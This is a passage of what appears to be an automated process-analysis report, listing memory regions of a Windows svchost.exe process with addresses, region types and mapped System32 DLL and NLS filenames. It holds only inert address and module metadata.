region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 719 start_va = 0x3110000 end_va = 0x3140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 720 start_va = 0x3150000 end_va = 0x3160fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 721 start_va = 0x3170000 end_va = 0x3180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 722 start_va = 0x3190000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 723 start_va = 0x3290000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 724 start_va = 0x3310000 end_va = 0x3340fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 725 start_va = 0x3350000 end_va = 0x3380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 726 start_va = 0x3390000 end_va = 0x3396fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 727 start_va = 0x33c0000 end_va = 0x343ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033c0000" filename = "" Region: id = 728 start_va = 0x34a0000 end_va = 0x351ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 729 start_va = 0x3570000 end_va = 0x35effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 730 start_va = 0x35f0000 end_va = 0x366ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 731 start_va = 0x3670000 end_va = 0x376ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 732 start_va = 0x3770000 end_va = 0x386ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 733 start_va = 0x3870000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 734 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 735 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 736 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 737 start_va = 0x3c00000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 738 start_va = 0x3c80000 end_va = 0x3d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Region: id = 739 start_va = 0x3d80000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d80000" filename = "" Region: id = 740 start_va = 0x3e00000 end_va = 0x3e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 741 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 742 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 743 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 744 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 745 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 746 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 747 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 748 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 749 start_va = 0x4800000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 750 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 751 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 752 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 753 start_va = 0x5100000 end_va = 0x51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 754 start_va = 0x5200000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 755 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 756 start_va = 0x5400000 end_va = 0x54fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 757 start_va = 0x5500000 end_va = 0x55fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 758 start_va = 0x5600000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 759 start_va = 0x5700000 end_va = 0x57fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 760 start_va = 0x5800000 end_va = 0x58fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 761 start_va = 0x59d0000 end_va = 0x59d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059d0000" filename = "" Region: id = 762 start_va = 0x5a50000 end_va = 0x5a56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a50000" filename = "" Region: id = 763 start_va = 0x5a60000 end_va = 0x5b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005a60000" filename = "" Region: id = 764 start_va = 0x5b60000 end_va = 0x5c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b60000" filename = "" Region: id = 765 start_va = 0x5c60000 end_va = 0x5d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c60000" filename = "" Region: id = 766 start_va = 0x5d60000 end_va = 0x5e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d60000" filename = "" Region: id = 767 start_va = 0x5e60000 end_va = 0x5f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e60000" filename = "" Region: id = 768 start_va = 0x5f60000 end_va = 0x605ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 769 start_va = 0x6060000 end_va = 0x615ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006060000" filename = "" Region: id = 770 start_va = 0x6160000 end_va = 0x625ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006160000" filename = "" Region: id = 771 start_va = 0x6260000 end_va = 0x635ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006260000" filename = "" Region: id = 772 start_va = 0x6360000 end_va = 0x645ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 773 start_va = 0x6460000 end_va = 0x655ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006460000" filename = "" Region: id = 774 start_va = 0x6560000 end_va = 0x665ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006560000" filename = "" Region: id = 775 start_va = 0x6660000 end_va = 0x675ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006660000" filename = "" Region: id = 776 start_va = 0x6760000 end_va = 0x685ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006760000" filename = "" Region: id = 777 start_va = 0x6900000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 778 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 779 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 780 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 781 start_va = 0x6d00000 end_va = 0x6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d00000" filename = "" Region: id = 782 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 783 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 784 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 785 start_va = 0x7200000 end_va = 0x72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 786 start_va = 0x7300000 end_va = 0x73fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007300000" filename = "" Region: id = 787 start_va = 0x7400000 end_va = 0x74fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007400000" filename = "" Region: id = 788 start_va = 0x7500000 end_va = 0x75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007500000" filename = "" Region: id = 789 start_va = 0x7600000 end_va = 0x76fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007600000" filename = "" Region: id = 790 start_va = 0x7700000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 791 start_va = 0x7900000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007900000" filename = "" Region: id = 792 start_va = 0x7a00000 end_va = 0x7afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a00000" filename = "" Region: id = 793 start_va = 0x7b00000 end_va = 0x7bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b00000" filename = "" Region: id = 794 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 795 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 796 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 797 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 798 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 799 start_va = 0x7ff9fbd40000 end_va = 0x7ff9fbd57fff monitored = 0 entry_point = 0x7ff9fbd41b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 800 start_va = 0x7ff9fc1d0000 end_va = 0x7ff9fc47ffff monitored = 0 entry_point = 0x7ff9fc1d1cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 801 start_va = 0x7ff9fee10000 end_va = 0x7ff9fee26fff monitored = 0 entry_point = 0x7ff9fee17520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 802 start_va = 0x7ff9fee30000 end_va = 0x7ff9fef04fff monitored = 0 entry_point = 0x7ff9fee4cf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 803 start_va = 0x7ff9fef10000 end_va = 0x7ff9fef53fff monitored = 0 entry_point = 0x7ff9fef383e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 804 start_va = 0x7ff9fef60000 end_va = 0x7ff9fef81fff monitored = 0 entry_point = 0x7ff9fef72540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 805 start_va = 0x7ff9fef90000 end_va = 0x7ff9fefa7fff monitored = 0 entry_point = 0x7ff9fef9b850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 806 start_va = 0x7ff9fefb0000 end_va = 0x7ff9ff00cfff monitored = 0 entry_point = 0x7ff9fefde510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 807 start_va = 0x7ff9ff060000 end_va = 0x7ff9ff067fff monitored = 0 entry_point = 0x7ff9ff0613b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 808 start_va = 0x7ff9ff0e0000 end_va = 0x7ff9ff11efff monitored = 0 entry_point = 0x7ff9ff1082d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 809 start_va = 0x7ff9ffa70000 end_va = 0x7ff9ffad6fff monitored = 0 entry_point = 0x7ff9ffa7b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 810 start_va = 0x7ff9ffbd0000 end_va = 0x7ff9ffcdefff monitored = 0 entry_point = 0x7ff9ffc0c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 811 start_va = 0x7ff9ffeb0000 end_va = 0x7ff9ffec1fff monitored = 0 entry_point = 0x7ff9ffeb1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 812 start_va = 0x7ff9ffed0000 end_va = 0x7ff9fff4ffff monitored = 0 entry_point = 0x7ff9ffefd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 813 start_va = 0x7ffa00c80000 end_va = 0x7ffa00cb5fff monitored = 0 entry_point = 0x7ffa00c827f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 814 start_va = 0x7ffa01390000 end_va = 0x7ffa014acfff monitored = 0 entry_point = 0x7ffa013bfe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 815 start_va = 0x7ffa01690000 end_va = 0x7ffa016a3fff monitored = 0 entry_point = 0x7ffa01693710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 816 start_va = 0x7ffa01740000 end_va = 0x7ffa0175dfff monitored = 0 entry_point = 0x7ffa0174ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 817 start_va = 0x7ffa069a0000 end_va = 0x7ffa069b5fff monitored = 0 entry_point = 0x7ffa069a1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 818 start_va = 0x7ffa07a20000 end_va = 0x7ffa07a30fff monitored = 0 entry_point = 0x7ffa07a27480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 819 start_va = 0x7ffa07a40000 end_va = 0x7ffa07ac3fff monitored = 0 entry_point = 0x7ffa07a58d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 820 start_va = 0x7ffa07ad0000 end_va = 0x7ffa07ae5fff monitored = 0 entry_point = 0x7ffa07ad55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 821 start_va = 0x7ffa07af0000 end_va = 0x7ffa07bc5fff monitored = 0 entry_point = 0x7ffa07b1a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 822 start_va = 0x7ffa07c20000 end_va = 0x7ffa07c83fff monitored = 0 entry_point = 0x7ffa07c3bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 823 start_va = 0x7ffa07c90000 end_va = 0x7ffa07cb4fff monitored = 0 entry_point = 0x7ffa07c99900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 824 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 825 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 826 start_va = 0x7ffa07de0000 end_va = 0x7ffa07e53fff monitored = 0 entry_point = 0x7ffa07df5eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 827 start_va = 0x7ffa07e60000 end_va = 0x7ffa07f96fff monitored = 0 entry_point = 0x7ffa07ea0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 828 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 829 start_va = 0x7ffa083b0000 end_va = 0x7ffa083cdfff monitored = 0 entry_point = 0x7ffa083b3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 830 start_va = 0x7ffa083d0000 end_va = 0x7ffa08451fff monitored = 0 entry_point = 0x7ffa083d2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 831 start_va = 0x7ffa08460000 end_va = 0x7ffa08475fff monitored = 0 entry_point = 0x7ffa08461af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 832 start_va = 0x7ffa08480000 end_va = 0x7ffa08499fff monitored = 0 entry_point = 0x7ffa08482330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 833 start_va = 0x7ffa088d0000 end_va = 0x7ffa08915fff monitored = 0 entry_point = 0x7ffa088d79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 834 start_va = 0x7ffa08940000 end_va = 0x7ffa0894efff monitored = 0 entry_point = 0x7ffa08944960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 835 start_va = 0x7ffa08a00000 end_va = 0x7ffa08a0bfff monitored = 0 entry_point = 0x7ffa08a035c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 836 start_va = 0x7ffa08a10000 end_va = 0x7ffa08a4ffff monitored = 0 entry_point = 0x7ffa08a1cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 837 start_va = 0x7ffa08a50000 end_va = 0x7ffa08a96fff monitored = 0 entry_point = 0x7ffa08a51d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 838 start_va = 0x7ffa08ae0000 end_va = 0x7ffa08b21fff monitored = 0 entry_point = 0x7ffa08ae3670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 839 start_va = 0x7ffa08e00000 end_va = 0x7ffa08e1efff monitored = 0 entry_point = 0x7ffa08e037e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 840 start_va = 0x7ffa08e20000 end_va = 0x7ffa08e98fff monitored = 0 entry_point = 0x7ffa08e276a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 841 start_va = 0x7ffa08eb0000 end_va = 0x7ffa08eeffff monitored = 0 entry_point = 0x7ffa08ec6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 842 start_va = 0x7ffa08f10000 end_va = 0x7ffa08f27fff monitored = 0 entry_point = 0x7ffa08f14e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 843 start_va = 0x7ffa08f30000 end_va = 0x7ffa08f54fff monitored = 0 entry_point = 0x7ffa08f35ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 844 start_va = 0x7ffa08f60000 end_va = 0x7ffa090e1fff monitored = 0 entry_point = 0x7ffa08f782a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 845 start_va = 0x7ffa090f0000 end_va = 0x7ffa09192fff monitored = 0 entry_point = 0x7ffa090f2c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 846 start_va = 0x7ffa091a0000 end_va = 0x7ffa091f1fff monitored = 0 entry_point = 0x7ffa091a5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 847 start_va = 0x7ffa09200000 end_va = 0x7ffa0922dfff monitored = 1 entry_point = 0x7ffa09202300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 848 start_va = 0x7ffa09230000 end_va = 0x7ffa0928dfff monitored = 0 entry_point = 0x7ffa09235080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 849 start_va = 0x7ffa09290000 end_va = 0x7ffa092affff monitored = 0 entry_point = 0x7ffa09291f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 850 start_va = 0x7ffa092b0000 end_va = 0x7ffa092b8fff monitored = 0 entry_point = 0x7ffa092b18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 851 start_va = 0x7ffa092c0000 end_va = 0x7ffa092d0fff monitored = 0 entry_point = 0x7ffa092c1d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 852 start_va = 0x7ffa09330000 end_va = 0x7ffa09347fff monitored = 0 entry_point = 0x7ffa09332000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 853 start_va = 0x7ffa09350000 end_va = 0x7ffa09390fff monitored = 0 entry_point = 0x7ffa09353750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 854 start_va = 0x7ffa09430000 end_va = 0x7ffa0947bfff monitored = 0 entry_point = 0x7ffa09445310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 855 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 856 start_va = 0x7ffa09510000 end_va = 0x7ffa0954bfff monitored = 0 entry_point = 0x7ffa09516aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 857 start_va = 0x7ffa09c80000 end_va = 0x7ffa09c88fff monitored = 0 entry_point = 0x7ffa09c821d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 858 start_va = 0x7ffa09c90000 end_va = 0x7ffa09cc4fff monitored = 0 entry_point = 0x7ffa09c9a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 859 start_va = 0x7ffa0a560000 end_va = 0x7ffa0a652fff monitored = 0 entry_point = 0x7ffa0a585d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 860 start_va = 0x7ffa0ac50000 end_va = 0x7ffa0ac59fff monitored = 0 entry_point = 0x7ffa0ac514c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 861 start_va = 0x7ffa0afc0000 end_va = 0x7ffa0afd1fff monitored = 0 entry_point = 0x7ffa0afc3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 862 start_va = 0x7ffa0b300000 end_va = 0x7ffa0b314fff monitored = 0 entry_point = 0x7ffa0b302dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = 